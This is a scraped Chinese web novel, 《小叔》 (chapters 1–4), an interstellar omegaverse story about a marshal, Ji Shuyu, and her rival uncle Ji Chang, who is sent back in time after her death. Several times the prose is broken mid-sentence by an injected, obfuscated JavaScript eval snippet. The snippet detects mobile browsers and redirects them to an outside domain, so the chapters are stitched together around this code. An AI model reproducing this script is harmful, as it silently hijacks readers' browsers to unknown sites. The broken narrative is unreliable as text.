《小叔》 1. 第 1 章 星历3168年。 硝烟四起,血腥味被暴雨重刷,湿冷和绝望弥漫在周围。 这个星球已经很久没有降过雨了,季舒虞苦撑六天,但上层断了她们的军需补给,她几乎没有力气了。 剧烈的疼痛要将她撕裂,她失血过多,而奄奄一息的副官正拉着她的手恳求:“元帅,我先生,他刚生下孩子不久,别、别告诉他……” 副官是个豪爽的女人,一个果断又开朗的Alpha,因为脏器破裂,只能大口大口地吐着血,这个出了名的好女人,此刻在为自己先生往后的日子痛心。 她的先生身体不好,要是知道她死在了战场上,将来的日子又该怎么过呢。 “等季指挥官出去,会安置好你的家人的,会给他一大笔钱……”季舒虞喘了一口气,过多失血令她手也变得冰冷,“安心。” “谢谢、元帅,”一向坚强的女人泪流了满面,混着鲜血往下落,她露出带血的牙齿,笑说,“元帅……活下去。” 她的副官有太多话想说,此刻也只能看着满身是血的季舒虞,直到眼中再也没有了神采。 身体的疼痛令她疲惫不堪,但季舒虞清楚,她不能倒下。 中控区传来断断续续的声音:“……束手就擒,皇室是不会救……留全尸,已是最大的仁慈。” 鼻腔里满是血腥气,没有水,没有营养液,没有医疗设备止血,血还在不断往外流。 地面被洇湿成暗红色,她缓慢地呼吸着,几乎能听到细胞破裂的声音。 这里彻底被绝望和死亡充斥。 “你走吧,别死在这。” 季舒虞缓缓闭上眼睛,对一旁的季尝说。 但战区已经被包围,走,他能走到哪去? 季尝垂着眼睑,将掌心轻轻覆在她重伤处,说话还是一如既往的刻薄:“我的大小姐,省省力气吧,还有什么遗言要我交代下去吗?” 他像个反派,好像季舒虞这幅模样是拜他所赐。 从她们认识开始,季尝就一直是这副模样,确实很令人讨厌。 季舒虞不止一次想堵住他的嘴。 但这次她没有说话,只长久地看着季尝苍白漂亮的脸,半晌才说:“只是没有想到,我会死你怀里。” “小叔,你走吧,”季舒虞撑着起身,她的身体已经很残破了,内脏暴露在空气中,微小的动作就能传来蚀骨的、令人眼前发黑的疼痛。 她的四肢血肉模糊,除了那只机械腿,很难想象,她就这么撑了许多天,“我送你出去。” 季舒虞从来没有这么狼狈过。 季尝张了张嘴,他只觉得喉咙干涩。 “我不是贪生怕死的人。”她听到季尝说。 季舒虞撑着残垣断壁的手背绷起青筋,她侧眼看季尝,痛得笑出了声:“尊贵的执行官大人,你倒是来扶我一下。” “……别白费力气了,就这么讨厌我,不想跟我死在一起吗?”季尝撑着她的身子,“我们,我们杀不出去。” 整个星际舰队只剩下她们两个了。 季舒虞受了重伤,他也没有好到哪去,根本逃不出去。 重伤情况下动用精神体,只会爆体而亡。 “如果我是治愈系,或许我们就……”季尝的声音戛然而止。 没有如果。 他就是一个攻击性很强的omega,甚至精神体都是黑蛇,带有剧毒的物种。 一个战斗型的omega,可他没法带季舒虞杀出重围。 “还记得我的项目吗,”季舒虞抬眼看着他,“我传送你出去。” 那是一台时空穿梭机。 “第一次使用,我只能勉为其难做你的小白鼠了。”季尝望着她的眼睛。 下一刻,季舒虞的指腹落在他的面颊上,擦了擦,女人皱眉,她的指腹上还有血迹,反倒是越擦越脏了。 她的眼睛永远都是那么清明,没有太多的感情,季舒虞对谁都不会投入太多的感情。 “别擦了,”季尝抬手,握住她带着血污的、温热的手,“不是讨厌我吗,为什么让我活。” 养尊处优的执行官,手是细腻冰冷的。 季舒虞看着她们交握着的手,那一瞬间,她产生了一些错觉,好像她们不是敌对十多年的关系,而是一对亲密的恋人,一对苦命的鸳鸯。 真是可怕的想法。 她攥着季尝手的力道加大了几分:“闭嘴,回去带消息给她们,你如实说,我的部下会明白。” “你讨厌我,连带她们也跟着讨厌我,怎么可能相信……”话还没有说完,掌心多了一块冷硬的勋章。 “她们会相信你的,”季舒虞看着他说,“因为我相信你。” 那台时空穿梭机启动了,这是她们此刻唯一的办法。 但这是时空穿越机第一次启动,季舒虞不能保证他会被传递到哪,也许是悬崖峭壁、谷底、其他星际,或是过去、将来。 “生日快乐,小叔。” “祝你好运,”她说,“活下去。” 好好活下去。 身体被撕裂的疼痛剧烈,季尝对抗着仪器运转带来的疼痛,下一刻,巨大的爆破声几乎将他的耳膜震碎,时空穿越机也摇摇欲坠。 透过那个小窗,他看到漫天的火光。 是季舒虞,是她爆体而亡,跟那群人同归于尽了。 上战场前,她保证过,不留活口的。 她永远都信守承诺,守着那些规矩。 “……傻子。” 似乎有血从耳朵里流出来了,他慢慢闭上眼睛。 不知过了多久,像是被毒蛇啃咬过,骨头都要碎掉了,季尝额头上满是冷汗,猛地睁开了眼。 “……星历3167年。” 天很冷,身旁传来下属困惑的声音:“您怎么了?” 他的脸色太差了,像是受到了什么巨大的打击。 只有季尝知道,他死了,她也死了。 季舒虞动用精神体最后的力量,与敌军同归于尽了,她们死在了他生日那天。 实验项目失败,他好像也因为失血过多,死在了里面。 阳光落在他脸上,有些刺眼,季尝掌心覆盖住太阳,微微眯眼,打量着窗外的一切。 而今天,是他回归星球,调到季舒虞身边工作的第一天。 —————————— “让他在我手下做事,”季舒虞声线平淡,“他不怕我们打起来吗?” 光影里的老头叹气:“这毕竟是整个元老院的安排。” “那也是她们考虑不到位,祖父。”季舒虞评判。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299932|182775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个星际几乎没有人不知道,她跟季尝是互不顺眼,恨不得将对方置于死地,祖父做出这样的决定,其心可诛。 过了三年,她对季尝还是喜欢不起来一点。 他这人说话总是刻薄,永远维持着得体的假笑,虚伪又狠辣,除了长得漂亮和能打,简直一无是处。 她回想着跟季尝在一起的点点滴滴,好像没有一刻不想把他的嘴堵上,因为他实在是招人讨厌。 那时候,季尝对着刚满十岁,被枪械强大后坐力冲击到跌坐在地的季舒虞说:“真是可怜啊,怎么枪都拿不稳,看样子你摔了个屁股墩,我的大小姐,很疼吧……” 他微笑着,弯起那双勾人的桃花眼,像只狐狸。 那副故作和善的模样,还有他的嘲讽与讥笑、高高在上的模样,都令她感到厌恶。 语调也很欠揍。 真想让他再也说不出话来。 季舒虞这么想,也准备这么做了。 “闭嘴。” 她冷漠地举起枪械,对准了季尝的额头。 只要她扣动板机,这个没礼貌的家伙就会死在她的手上。 季尝的笑声卡壳了,面上还维持着刚才的笑容,逐渐变得玩味起来,他缓慢举起双手,做投降状,带着点无奈哄她:“好好好,我不笑了,大小姐,小心擦枪走火啊……” “蹲下。” 季舒虞不喜欢别人俯视她。 于是,在她的注视下,季尝唇角勾起的弧度泛冷,像是锋锐的刀子,但迫于被她瞄准,只好缓慢下蹲。 其实,早在那时季舒虞就想过,她要看季尝跪在她面前,痛哭流涕,卑微求饶。 如她所愿,季尝输了,被派去其他星球三年,但好景不长,今天他回来了,从此还要在她手下做事。 季舒虞并不接受这个说法,她回绝道:“这不合规矩。” 季高早就预料到她会说这样的话,道:“我说了,季尝到底是你的小叔,他吃过了苦头,该惩罚的也惩罚了,将来你们也还是一家人。” “跟我没有很大的关系,他不招惹我,怎么会吃苦。” “……这是合情合理的,新的政策一会发送到你的终端。”见她不为所动,季高留下这句话,就切断了跟她的光影联络。 这次,季舒虞没再说什么。 终端传来震动,她大致扫了一眼,缓慢眨了眨眼。 事情做到这,是没有转圜的余地了。 为了满足她们的私欲,规则也变得灵活起来,她们制定了规则,但她们却不那么守规则,这是用来约束别人的。 终端震动的声音还在继续。 【副舰长,训导官已抵达指定地点。】 【但是……训导官身上有伤,您还要安排比试吗?】 季舒虞面色冷淡地打开传送门,银白的科技感荧幕散去,她看到不远处那张有些苍白的脸。 季尝其实长得很有欺骗性。 栗色的头发有些长,他眉眼优越,鼻梁高挺,嘴角永远带着微笑,看上去很温和,一副很好说话的模样。 三年过去,他还是那么漂亮,让人一眼就能注意到。 察觉到她的视线,季尝抬眼对上她,随后轻笑了一声:“多年不见,我的大小姐。” “让我看看,这几年有什么长进。” 2. 第 2 章 他表现得亲昵,一时间,偌大的大厅里鸦雀无声。 新兵们起先被他的外表迷惑住了,当季尝用这种口气对季舒虞说话时,她们不免觉得这两位关系多么亲近。 很少有人知道季尝是季舒虞的小叔。 从没有谁敢对她这么说话。 谁叫他嘴上叫着大小姐,面上却没有一点恭敬。 季舒虞利落地脱下外套,露出里面的战斗服:“刚上来就单挑我?” 原本被挑出来给季尝活动筋骨的新兵有些失落,默默退了回去。 季尝笑望着她:“是我有些迫不及待了,我的大小姐。” “舰长对omega也这么凶残吗?”她小声问。 “谁,你说季训导官?”文青山扬眉。 见她点头,文青山一时有些语塞。 她都快要忘记季尝是个omega了。 新兵显然是没听说过他的传闻,这会儿还天真的,带着点欣赏和仰慕:“年少有为,即便omega里有训导官,但也是极少数。” 文青山好心提醒:“这可是个笑面魔头,多少新生兵员在他手下痛不欲生。” 她已经说得很清楚了,在提醒这些人不要去招惹他。 偏偏这人不信:“可是文副官,他看上去是很温柔的omega啊。” 文青山微微笑,没有再说什么。 而这边,温柔的季尝正垂着头,为自己包扎胳膊上的伤。 他的动作非常娴熟,黑衬衫被割开,这才看出他已经流了不少血,季尝将伤口紧紧勒住止血,毒血汩汩而出,他却连眉头都没皱一下,很快将伤口处理好,准备进入一场新的战斗。 “……护送我的这群人未免太无用,连啮齿兽都打不过,还是我亲自解决的,”刚刚还面无表情处理伤口的人,抬眼看她时,莹润的眼底透着狡黠,在那故作可怜,“舰长大人,你可要对我手下留情啊。” 季舒虞觉得自己的忍耐力越来越好了。 现在她能平静地面对季尝这幅虚伪的模样:“没有这样的规矩,除非你认输。” “对伤员也不能手下留情吗?”他站起身,轻叹了一声。 文青山上前,将两人的终端接过。 季尝跟着她进入了全息竞技场。 比试尚未开始,两处的声音彻底被隔绝。 季舒虞感受到脚踝有什么冰冷的东西缠绕上来,反应极快地掐住那东西的七寸,转头警告他:“管好你的蛇,我可不能保证下次不会掐死它。” “啊,好凶,”季尝仍旧微笑着,接过自己可怜的精神体,“你把它吓坏了,它只是想见见老朋友。对了,你的小小鸟呢?” “你说话还是这么欠揍。”季舒虞扬了扬眉头。 她的精神体是朱雀,那是古文明里,活在传说中的东西,非战斗形态时,就是栖在她身上的小小红鸟。 “战斗的时候自然会见面。” 说完,她站在了季尝的对立面。 似乎没有注意,小小朱雀已经落在季尝的指尖,亲昵地啄着他的指尖。 季尝点了点它的小脑袋:“真是小叛徒,被她发现了怎么办?” 季舒虞没有查看这边的情况,指尖触及额角,布满蓝绿色数据流的护目镜就浮现出来。 反观季尝,他甚至都没有换作战服,就穿着那件衬衫,毫无准备地站在那,面上依旧带着得体的微笑,好像在纵容小辈无理取闹。 溢血的绷带有些扎眼,但她只有些不满意地说:“你这样很不尊重我。” “赢了不就行了,”季尝满不在乎地松开了袖扣,“快点开始吧。” 他倒成了催促季舒虞的那个。 季舒虞没有再废话,闪身到他身前,她速度很快,像是一道光线,不给他任何反应的余地,直直地将手中的能量匕首刺向他的颈动脉。 动作凌厉,像真的要将他杀死在这全息竞技场里。 季尝面上仍旧是那副漫不经心的模样,在匕首将要刺穿他喉咙的时候,他将身子向后仰成弯弓,柔软到不可思议,堪堪避开了季舒虞的能量匕首。 他有些诧异,像是要说什么,季舒虞知道他吐不出什么好话来,根本不打算留给他说话的时间,招招致命。 匕首相击,发出清脆又冰冷的声响。 信息素的味道逐渐浓郁起来,两股气息暗暗较劲。 灰烬与硝烟的味道同清新潮湿的草木香紧密交织,充斥在全息竞技场。 像是要用强大的信息素在心理上镇压对方。 场外的一众舰队成员屏住了呼吸。 她们动作太快了,舰员们几乎没有看清身影是怎么闪现过去的,这位看着温柔和善的训导官又是如何躲过去的。 “……他居然躲过了副舰长的匕首,那是几乎不可能躲过的。” 季舒虞的精神体是朱雀,鸟类本就是敏锐又迅速的生物,更何况是古文明的神兽。 原以为上面要训导官与他们进行比试,只是形式主义,做做样子。 毕竟他是个omega,看起来和善好说话,很容易让人忽略他训导官的身份。 “我有必要提醒大家,”文青山说,“M618星有些混乱,不比我们所在的星球,新兵也不服管教,训导官在M618星很难混下去。” 只有犯下大错的人才会被分配到M618。 那里被愤怒新兵们打死的一些低位官员并不少。 所有能从这里调出来的人,都不会简单。 终于有人看清并心有余悸地附和:“能做三年训导官的omega,又能是什么善茬?” “还有一点,”文青山补充说,“季训导官将来会是我们星舰中的一员,等副舰长出来,自然会向大家介绍新成员。” 与此同时,全息投影里,季尝招式狠辣,唇角噙着若有若无的笑意,像是一条蓄势待发的毒蛇。 舰队的成员们面色逐渐凝重起来。 拖得时间太久不是什么好事,她们也看到了季尝的实力,却很难想到这样强势的人是个omega。 “大小姐,”季尝与她僵持许久,但到底手臂上还有伤,他没能坚持多久,“我是伤员,身体不好、咳……” 他痛哼一声。 鲜血溅到了季尝的侧脸,显得他肤色更苍白了,红白相映,他像一只妖冶的、擅长蛊惑人心的蛇妖。 她们身上都有彼此留下的伤。 “想让我放水?”季舒虞冷声问。 季尝一边求情,一边迅猛地朝她攻击,她们的匕首被对方击出了比试区。 近身肉搏,让信息素的纠缠与压迫更为明显。 季舒虞箍住他的腰身,两人隔着衣料紧密贴合,气氛却没有半点旖旎。 “天哪,他与舰长有什么恩怨吗,怎么好像是要借着这场比试将对方杀死在竞技场?!” 有星舰成员发出惊恐的质疑。 之前不是没有过这种情况。 这个新来的,看着漂亮又好说话的训导官,好像从头到尾都在挑衅她们副舰长。 星舰成员们很担心季舒虞的安危:“真的不能终止吗?” 她们相信季舒虞的能力,但季尝到底是上面指派来的,不能在这里出什么意外。 她从来认真,真要是失手把季尝杀死,到时候又该怎么交代。 刚刚还跟季舒虞旗鼓相当的omega,下一刻被她反压在冰冷的墙面上。 季舒虞掐着他的脖子,皱起了眉头:“你放水?” 这在她看来是侮辱。 季尝的呼吸有些急促,被掐着脖子的滋味可不好受,就这样一失控,潮湿清冽的草木气息愈发浓重。 “亲爱的大小姐,嗯、”他凝望着季舒虞的眼睛,在这个称谓艰难地脱口而出时,脖子上的力度瞬间又紧了很多,只要她再收紧力气,就能掐断他的脖颈,让他声息全无, “我认输了……” 全息竞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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文青山的伤口在人中,这会已经结了痂。 “把嘴闭上。”季舒虞毫不客气地制止,她并不想听季尝的废话。 她们看上去太熟络,好像也十分熟悉彼此的战斗招式,舰员们一时间不敢发表意见。 最终,季舒虞简短地介绍:“M618的星际高级训导官,转来做执行官,在这待不了多久。” 她说的其实都对。 季高就是让这个私生子结束惩罚期,在她手下历练一段时间,也是为了安抚她的情绪,用不了多久,季尝会被调走。 这是季高答应她的。 她不会允许季尝一直碍她眼的。 但这么直白地说出来,味道就有些怪了,舰员们生怕她们再一言不合打起来。 虽然双方都不是这么不体面的人。 “那接下来的日子,还请大人多多担待了。”他看起来没有对季舒虞的不满。 但季舒虞没有跟季尝叙旧的意思,他也没有多留。 人群散去,文青山跟随她一起回到办公所:“长官,您也留手了吗?” “犯不着动用精神体。” 季舒虞回应。 看在季尝受伤的份儿上,她没有动用精神体,这已经是最大的仁慈。 季尝却用这种方式侮辱她。 “……一定有机会让您好好跟他切磋一顿的,长官。”文青山宽慰她。 “嗯,”季舒虞看她,“还有什么事?” “执行官大人的新住处离您很近,这是您祖父亲自安排的。” “多近?” “您公馆附近,步行百米即可抵达的院墅。” 季舒虞顿了顿,抬起头重新确定:“邻居?” 3. 第 3 章 季舒虞扬了扬眉头,毫不客气地说:“老头子这是不打算让我们过得舒坦。” 她是不会手下留情的。 文青山显然也很担心这一点:“是啊,但上面的意思是,这样有利于你们修复关系,重归于好。” 重归于好,和季尝? 太荒谬了,季舒虞没忍住,哼笑出声。 “现在看来,没有将彼此置于死地已经很好了。”文青山递给她一份全息材料。 季舒虞拿起一张快速浏览信息:“明天带谁比较合适?” 皇室与财阀举办的活动,到时候元老院也会去。 这样的场合,大家都是削尖脑袋想要跻身上流社会,只有季舒虞兴致缺缺。 她厌倦了虚与委蛇,季高也对她的直来直去头疼,可谁叫季家只有她能指望得上。 作为年轻有为的S级Alpha,当然要带一个异性去参加。 但文青山推的名单她都不是很满意。 “我不需要舞伴,我需要的是能为我提供助力的盟友。”季舒虞合上全息屏幕。 这一条就足以为难住很多omega和beta了。 “那长官不如考虑一下其他大人,”文青山提议,“不一定要舞伴不是吗,再说了,那些大人兴许也想去,只要是有才干,能为长官提供帮助的,其他的好像也不是那么重要了。” 她的提议也不是完全不行。 她不喜欢omega和beta,当然是在感情方面。 她不想把自己的精力浪费在别人身上,但如果对方足够有才干,倒是可以合作。 “我考虑一下。”季舒虞撑着下颌说。 朱雀高兴地细细叫了两声,星际难得有这样的好天气。 水波被光线映在季舒虞的办公桌上,波纹晃动不止,她放下手中的咖啡,看着鱼缸上的朱雀,它孜孜不倦的,站在边沿往里投了一颗石子,发出扑通一声响,水花溅的老高。 水花就这么溅在了人的脸上。 “啧,这坏家伙。”季尝抬手擦着脸上的水痕,抱臂看向喷泉里自己翻滚着的精神体,“脆皮,出来。” 他的蛇很喜欢玩水。 M618星的水质很差,脆皮已经很久没有这么撒过欢了。 跟朱雀在一起玩的时候还是小小一条的黑蛇,这会已经变成庞然大物,在喷泉里欢快地翻腾着。 季尝把水擦干,挽起袖口,走进这栋熟悉的房子。 这是他生活了很多年的地方,当了许多年私生子,他被季高接回家,在这里学习如何迎合和讨好,做一个对家族有用的工具。 季舒虞的出现就很不合时宜。 “我很讨厌你,”季舒虞小小年纪说话就很不客气,她会拿枪指着他,冷漠地警告,“离我远点。” 本身就站在对立面,或许磁场也不和。 她们两个就这么针锋相对了十年,这些情绪不可能彻底抹消,但偏偏季舒虞把唯一活着的机会给了他。 皇室和财阀沆瀣一气,葬送了星际舰队S级元帅的性命。 “小叔,你走吧。” 战场上弥漫着硝烟和血腥气,不知道是她的信息素,还是战争残留的味道。 季尝不免心中一跳,但讥讽:“不想跟我死在一起?” 这是她们一贯的相处方式。 季舒虞的突然打破,让他说不上来这是什么奇怪的感觉。 会有人在生死面前放针锋相对的对头一马吗? 他反正是不会的。 “这话能从元帅口中说出,我还真是,开始怀疑自己的耳朵……” “别贫嘴了,滚不滚。” 季舒虞皱紧眉头看他。 她伤得太厉害,脾气也非常不好。 滚,他当然要滚。 能活为什么不活。 但他不是很明白,季舒虞为什么要放过他。 这么想着,季尝也就问了出来。 “你很适合做执行官,要好好活下去。” 她好像永远都这么理性,又冷漠,守着一堆规矩,在生死关头,想到的也是死对头能为社会奉献怎样的价值。 “生日快乐,小叔。” “好好活下去。” 只是可惜,她的生日祝福没有在那天生效,她们都死在了他生日那天。 她跟敌军同归于尽,而他也因为失血过多和心律失常,死在时空穿梭机里。 即便是这样,也是季舒虞让他欠了她好大一笔人情。 真是讨厌的人啊。 季尝在沙发上舒展开身体,想起今天跟季舒虞在全息竞技场打斗,被硝烟味的信息素彻底压制时,他是真的有一瞬呼吸不畅,随后才被季舒虞掐住脖颈的。 季舒虞的信息素强得可怕,已经能做到完全压制他了。 能让他原本平稳的信息素不受控制,潮湿的草木信息素暴涨的时候,季尝也被吓到了。 从来没有出现这样的情况,他静默一会,开始联络私人医生。 克莱德的全息投影显现出来:“训导官,哦不对,或许现在应该称呼为执行官大人了,怎么突然想到我了?” 他穿着无菌服在调配药剂,眼睛都没有抬。 “帮我做个全身检查。”季尝没有多解释。 克莱德这才抬起头,他有点不解地偏了偏头,问:“这是怎么了,你受了重伤吗,给我位置,我这就过去。” 季尝没有客气,直接把位置信息打开,开放了传送权限,对面前的克莱恩叙述自己的症状:“我的信息素今天被她彻底压制了。” 没头没尾的一句话。 但克莱恩明白了他的意思,费解地看着他:“你也忘了你是omega吗?” “……跟这个有什么关系?”季尝扬起一侧眉头。 “你当时是什么感觉?”克莱恩当即开始调往年的信息素测评报告,在数据库里找到两人当年的匹配度。 季尝回想着:“呼吸不畅,心律不齐,我感觉到不对劲,就擅自终止了比试。” “你心律失常的老毛病到底什么时候治,换个仿生心脏不就好了,机械心脏的替换手术我也能做……” 季尝抱臂看着他,一副不接受的样子:“心脏陪了我快三十年,早就有感情了,哪能说换就换?” “……你跟季舒虞可是有81%的匹配度,已经算很高了。”克莱德打了个哈欠,“有点危险,你就不能离她远点,你们还是叔侄。” “是啊,我们是叔侄,又能离多远,”季尝说,“怎么,你担心我跟她有什么吗?” 克莱德没有说什么,但表情已经说明了一切。 “……别开玩笑了,我们的隔阂 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“你的身体越来越差,再不找一个高匹配的Alpha做易感保护人,将来连战场都上不了了。” 他对特效抑制针剂有成瘾依赖。 季尝从分化成omega那一刻起,就在使用抑制针剂。 如果不能找到一个Alpha,强烈的戒断反应,他也是受不了的。 季尝果断结束了这个话题:“明晚见。” “……你不是不打算去吗?”克莱德疑惑发问。 上面这些人无不领教过季尝这张嘴的厉害,真与他交恶的倒没有多少,但这次邀请名单里没有他的名字。 “可怜我人见人嫌,家族没人肯带我去,”季尝叹了口气,“你可要想办法把我带进去啊。” 这话其实也就说说。 他嘴巴厉害,但也从来八面玲珑,那些人并没有因为他私生子的身份怎样。 至少面上不会说什么。 “看你也没有很想去,你侄女会去,不是不想跟她呼吸同一片空气吗?” 克莱德开启传送门。 他的实验还没有完成,尾音还没落,人就已经被传送到实验室了。 的确不想。 上辈子他就没有去。 不过名单上没有他,不代表他不能参加。 偏偏这时候,全息屏突然出现,屏幕里是季舒虞肃丽的脸。 “你的蛇跑到我的院子里了,把它带走。” 她的声音也没有什么起伏,像是平时下达命令。 “这是在命令你的小叔吗?”季尝尾音轻飘飘的,像是带着小勾子。 季舒虞皱了皱眉,关闭了安保系统的全息屏。 但没一会,季尝就出现在她的院子里。 他半蹲着逗弄院中的狼狗,那条高冷的狼狗一改往日模样,亲昵地舔着他的掌心:“看来还记得我,比季舒虞乖多了。” “非要当着我的面说这些吗?”季舒虞看着他。 季尝这才像是发现她了一样,弯着眼睛,抬眼看她:“那下次我避开,大小姐叫我来肯定还有别的事吧。” 否则依照季舒虞对他的讨厌程度,只因为脆皮乱跑,是犯不着申请全息对话的。 季舒虞点点头,直截了当地说:“明晚的宴会我带你去。” 4. 第 4 章 “……”阳光有些刺眼,季尝眯着眼睛看她,轻笑一声,“不带舞伴,带你的小叔去,这是怎么回事?” 季舒虞:“不要恶心我。” 季尝耸了耸肩,有些无辜:“我还什么都没说。” 她指节夹着一枚胸针,那是象征舞伴身份的。 “这不太符合的我身份吧,我的大小姐?”季尝有点为难地笑看着她。 他带着点诧异的微笑看上去很虚伪,季舒虞其实很讨厌他这幅样子。 但他怎么会不想去呢,季尝最喜欢这些活动了。 她清楚,季尝是不在受邀名单里的,但偏偏他想要接着这次机会,讨更多的好处,真是贪心。 “不想去就不要去了。”季舒虞作势要收回胸针,被他避过。 季尝摇摇头,有些无奈地说:“你脾气一如既往的臭,怎么总是针对我,还像个小孩儿一样。” “你要的太多了。”她没有多说什么,转身回到屋檐下。 终端震个不停,季舒虞触及莹亮的指环,看到文青山发来的消息。 【长官,您有一份新的密报,源文件已发送至您的终端。】 【上次我们缴获的虫卵被偷盗出来,虫卵状态不稳定,上面考虑是我们运输过来的,有一定经验,要您亲自去解决,并将虫卵带回来,等级为绝密。】 季舒虞皱了皱眉。 她们上次缴获的东西被送去做科研。 这群人未免太没有本事了,层层关卡都能被破开,连虫卵都保护不好。 但毕竟是上面的安排,她很快答应下来。 “谁来协助?”她敲击文字,发送。 “哦对了,”季尝还没走,他像是突然想起什么一样,朝季舒虞说,“本次行动,由我来协助大小姐。” 季舒虞远远与他目光相接:“什么?” 实在有些荒谬了。 这么重要又危险的任务,上面居然指派了季尝。 上层这些人几乎都知道她们不对付,老头子不知道存了什么坏心思,先是让她跟季尝做邻居,这会又让他跟着自己一起行动。 季尝挠着黑蛇的下巴,问:“你看上去不太高兴啊,怎么了,大小姐?” 季舒虞关闭指环,科技感的光灭了下去:“明知故问。” “个人情绪不要带进工作里,”季尝叹了口气,“我可是著名的训导官和执行官。” 的确,有他的助力,只会事半功倍。 前提是他真的协助她,而非捣乱。 季舒虞很早就知道,季尝除了漂亮和能打以外,几乎一无是处。 他的能力季舒虞看在眼里,他是个相当厉害的omega,放眼整个星际都不一定有比他再能打的omega了。 就是那张嘴,惹人讨厌的很。 季舒虞很久以前就想把他那张嘴堵上,让他再也说不出话来。 “你不会针对我的,对吧,”季尝望着她,“舰长大人。” 季舒虞平静地看着他:“当然,如果你服从安排的话。” 她没再看季尝那张笑吟吟的脸,转身回了客厅,叛变的朱雀就这么被留在院里。 这次计划不能出意外,科研项目要求保密,这些直接关系到财阀与皇室的利益。 “季尝从M618星回来,主动要求调来我身边,目的不明。” 文青山很快回复:“我会提防的,请长官放心。” 虫卵从来都是神秘又危险的东西。 它制作的药品是可怕,并具有不稳定性的,上流社会却仍然对此趋之若鹜。 从外星把这些东西带回来,真的是正确的决定吗? 第二天,季舒虞掐着点,对姗姗来迟的季尝说:“只需要服从命令,其他的你无需考虑。” “这话像个独裁专职的暴君,”季尝不置可否,“换条路,今天别在那边走,我讨厌那里。” 季舒虞:“……那是最近的路,我没有理由换。” “小鱼,你知道的,我心脏不太好,要是路上出了什么差错,恐怕会耽误进度。”季尝像是无可奈何地叹了口气,但说出来的话又不那么友善。 他的话没有说完,但季舒虞清楚他的意思。 季尝的社会地位足够,星级高级训导官,如今的执行官,不论是皇室还是财阀,都有拉拢他的意思。 季舒虞敏锐地捕捉到他的恶劣,但她沉默着,没有答应。 “……那个,长官,上级规划的路线就是执行官说的这条,”文青山提醒,“我们试试新路线吗?” 她长久的静默。 “走吧,文副官。”季尝微笑着接过话。 他经过季舒虞时,掌心搭在了她的肩膀。 隔着薄薄的丝制手套,季舒虞还能感觉到他的温度,他就这这个动作不轻不重地捏了捏她的肩。 她有些厌恶的,直接拍开了他的手。 啪。 “啊,好凶。”季尝瞭了她一眼。 季舒虞佩戴好护目镜,启动星舰,声音依旧平淡:“不要动手动脚,老实点。” 耳边传来幽幽的叹息,她听到季尝叹了口气,控诉她刚刚用了力气:“舰长,我是什么十恶不赦的人吗,让你这么反感?” 星舰穿过云层,光点一样迅速朝废弃区而去。 趋于平稳的时候,她闻到一股草木的清香味,季舒虞没有侧目,这股味道她太熟悉,几乎不用想就是的是谁。 下一刻,刚刚凑过来的季尝摘下了手套,手背在她眼前晃了晃。 潮湿草木的味道更浓了。 “做什么?”季舒虞偏头,以免他的手背影响自己视线。 “对下属这么冷漠吗,我好疼啊,这可是大人你打的。” 他说话还是那样,尾音带着点钩子,虚虚飘飘的。 像是在勾引人。 但在这里算挑衅,因为她们针锋相对了十年,都在找机会杀了彼此。 文青山在后排捏着一把汗,季舒虞甚至有些习惯了:“疼就离我远点,还敢凑上前,是想让我给你上药?” 她的确看见,季尝手背那里明显有些红了。 他的皮肤有些不正常的白,反倒让手背上那个印子更抢眼了,像是他刚刚遭受了什么暴虐的对待。 这么容易留下印子吗? 那昨天她们两人在全息竞技场肉搏的时候,都没有留手。 季尝也生生挨了几下,估计窄腰和肩头上都是她留下的伤,估计青青红红的很精彩了。 “那辛苦大人了。”季尝露出得体的笑,心安理得地等着。 季舒虞看见他嘴角噙着的笑,说:“给他拿药。” 自知不能把人逗得太狠,季尝没再继续,乖乖接了药自己涂。 这一切一定有老头子的主意。 这群年老的上位者不肯放权,还以看孩子们为了权利明争暗斗,打得头破血流为乐。 她越和季尝斗的厉害,老头子越要把她们放在一起。 更改路线是季尝的主意,他像是有预谋的,早早就把一切朝着其他方向改变了。 季舒虞还不明白他的目的,但她直觉,这一趟是十足的危险。 如果他敢在路上反水,背叛她,季舒虞就会毫不犹豫的杀了他。 这样的心情很快就达到了顶峰。 季尝倚在墙边看着她:“怎么,上面没有跟你说这些是做什么用的吗?” 定位坐标越来越近,显示虫卵就在附近,有人在带着这些卵奔逃。 她就说这人怎么可能乖乖的出任务。 季尝不但不会出任务,还会阻拦她执行任务。 “闪开。” “还要去?你没见过虫卵孵化吗,”季尝嗤笑一声,“高层才解决完寄生事件,那是一群科学疯子,大小姐,能不能不要总是两耳不闻窗外事,你可是姐姐培养的继承人,把这些恶心的虫子带回去,出现动乱后谁负责,虫卵状态明显不稳定。” 季舒虞厌恶他这幅模样:“那就采取冷冻,送回去。” 她的任务就是把虫卵带回去。 完整的最好,就算不是完整的,送回去也是完成任务。 “……到时候打算用你漂亮的军靴,将变异者挨个踹进焚化炉吗?”季尝笑得讽刺。 季舒虞扛起激光步枪:“再敢拦我,我就先把你踹进焚化炉。” 定位坐标发出急促的声音。 是在催促她尽快行动。 季舒虞没再理会他,直接翻身登上舰顶,稳住身形,架起重型拦截器,朝着飞速逃窜的目标发射。 高速行驶的小型改装飞船被拦截,精密锋利的拦截装置几乎要把那只飞船撕得粉碎,金属摩擦的声音巨大又刺耳。 激光步枪瞄准了飞船,只要有人下来,季舒虞就会命中对方的额头。 她接到了消息,偷走虫卵的是内鬼,他没有被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 